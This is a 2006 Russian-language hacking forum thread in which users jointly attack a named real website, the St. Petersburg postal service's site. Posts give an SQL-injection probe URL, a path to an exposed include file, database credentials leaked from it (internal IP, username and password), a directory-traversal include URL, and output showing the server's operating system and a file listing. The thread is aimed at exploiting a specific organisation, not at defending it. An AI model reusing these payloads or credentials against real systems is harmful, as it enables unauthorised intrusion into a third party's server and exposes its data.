Sql инъекция на www.spbpost.ru

Discussion in 'Уязвимости' started by Mobile, 2 Apr 2006.

  1. Mobile

    Mobile Elder - Старейшина

    Joined:
    18 Feb 2006
    Messages:
    1,089
    Likes Received:
    820
    Reputations:
    324
    http://www.spbpost.ru/spbpost.php?id=foto&di='1'
     
    #1 Mobile, 2 Apr 2006
    1 person likes this.
  2. tclover

    tclover nobody

    Joined:
    13 Dec 2005
    Messages:
    741
    Likes Received:
    682
    Reputations:
    287
    _____http://www.spbpost.ru/spbpost/foto.inc
     
    #2 tclover, 2 Apr 2006
    Last edited: 2 Apr 2006
    1 person likes this.
  3. Mobile

    Mobile Elder - Старейшина

    Joined:
    18 Feb 2006
    Messages:
    1,089
    Likes Received:
    820
    Reputations:
    324
    #3 Mobile, 2 Apr 2006
  4. drmist

    drmist Member

    Joined:
    8 Oct 2005
    Messages:
    307
    Likes Received:
    94
    Reputations:
    80
    $link=mysql_connect('192.168.48.1','bduser','user1253');

    0_o
    )))
     
    #4 drmist, 2 Apr 2006
  5. Mobile

    Mobile Elder - Старейшина

    Joined:
    18 Feb 2006
    Messages:
    1,089
    Likes Received:
    820
    Reputations:
    324
    По подробней пожалуйста...
     
    #5 Mobile, 2 Apr 2006
  6. virgoz

    virgoz Elder - Старейшина

    Joined:
    16 Sep 2004
    Messages:
    151
    Likes Received:
    28
    Reputations:
    15
    Там и инклуды:
    _http://spbpost.ru/news.php?id=../../../../../../inc
    Жалко 0-байт не канает.
     
    #6 virgoz, 2 Apr 2006
    Last edited: 2 Apr 2006
  7. drmist

    drmist Member

    Joined:
    8 Oct 2005
    Messages:
    307
    Likes Received:
    94
    Reputations:
    80
    Mobile
    по подробней?
    читай второй пост - это оттуда.
     
    #7 drmist, 2 Apr 2006
  8. drmist

    drmist Member

    Joined:
    8 Oct 2005
    Messages:
    307
    Likes Received:
    94
    Reputations:
    80
    Кстати. Зачем рефереров оставляете?
     
    #8 drmist, 2 Apr 2006
  9. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    значит мускул не на localhost-е)
     
    #9 m0nzt3r, 2 Apr 2006
  10. Utochka

    Utochka Elder - Старейшина

    Joined:
    21 Dec 2005
    Messages:
    495
    Likes Received:
    106
    Reputations:
    54
    да че вы с эти мускулом, я вот уже ось узнал
    FreeBSD postwall.spbpost.ru 5.0-RELEASE

    а вот список файлов в папке ))

    1626891 drwxr-xr-x 3 spbpost wwwadmin 512 26.09.2005 17:57 cod
    1627115 drwxr-xr-x 2 spbpost wwwadmin 512 12.12.2005 17:54 files
    1627196 drwxr-xr-x 10 spbpost wwwadmin 2048 22.03.2006 12:21 images
    1889411 drwxr-xr-x 3 spbpost wwwadmin 2048 27.03.2006 15:18 news
    1889427 drwxr-xr-x 2 spbpost wwwadmin 512 11.11.2005 18:06 other
    1889429 drwxr-xr-x 2 spbpost wwwadmin 512 26.09.2005 17:57 partner
    1889431 drwxr-xr-x 2 spbpost wwwadmin 512 26.09.2005 17:57 pravila
    1889433 drwxr-xr-x 2 spbpost wwwadmin 512 27.09.2005 20:17 service
    1889445 drwxr-xr-x 2 spbpost wwwadmin 512 26.09.2005 17:57 spbpost
    1889464 drwxr-xr-x 2 spbpost wwwadmin 512 26.09.2005 17:57 tarif
    1889475 drwxr-xr-x 2 spbpost wwwadmin 512 26.09.2005 17:57 vakans
    1634973 drwxr-xr-x 6 spbpost wwwadmin 1536 27.02.2006 13:42 test
    1627202 -rw-r--r-- 1 spbpost wwwadmin 22 26.09.2005 19:45 test.php
    1627284 -rw-r--r-- 1 spbpost wwwadmin 203 24.09.2005 20:04 in.php
    1627285 -rw-r--r-- 1 spbpost wwwadmin 198 11.11.2005 17:13 index.php
    1627286 -rw-r--r-- 1 spbpost wwwadmin 211 24.10.2005 16:26 news.php
    1627287 -rw-r--r-- 1 spbpost wwwadmin 203 24.09.2005 20:04 partner.php
    1627288 -rw-r--r-- 1 spbpost wwwadmin 203 24.09.2005 20:04 pravila.php
    1627289 -rw-r--r-- 1 spbpost wwwadmin 203 24.09.2005 20:04 spbpost.php
    1627297 -rw-r--r-- 1 spbpost wwwadmin 201 24.09.2005 20:04 tarif.php
    1627382 -rw-r--r-- 1 spbpost wwwadmin 202 24.09.2005 20:04 vakans.php
    1642797 drwxr-xr-x 4 spbpost wwwadmin 512 13.02.2006 20:08 podp
    1627476 -rw-r--r-- 1 spbpost wwwadmin 24 11.11.2005 16:02 .htaccess
     
    #10 Utochka, 2 Apr 2006
(You must log in or sign up to post here.)
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.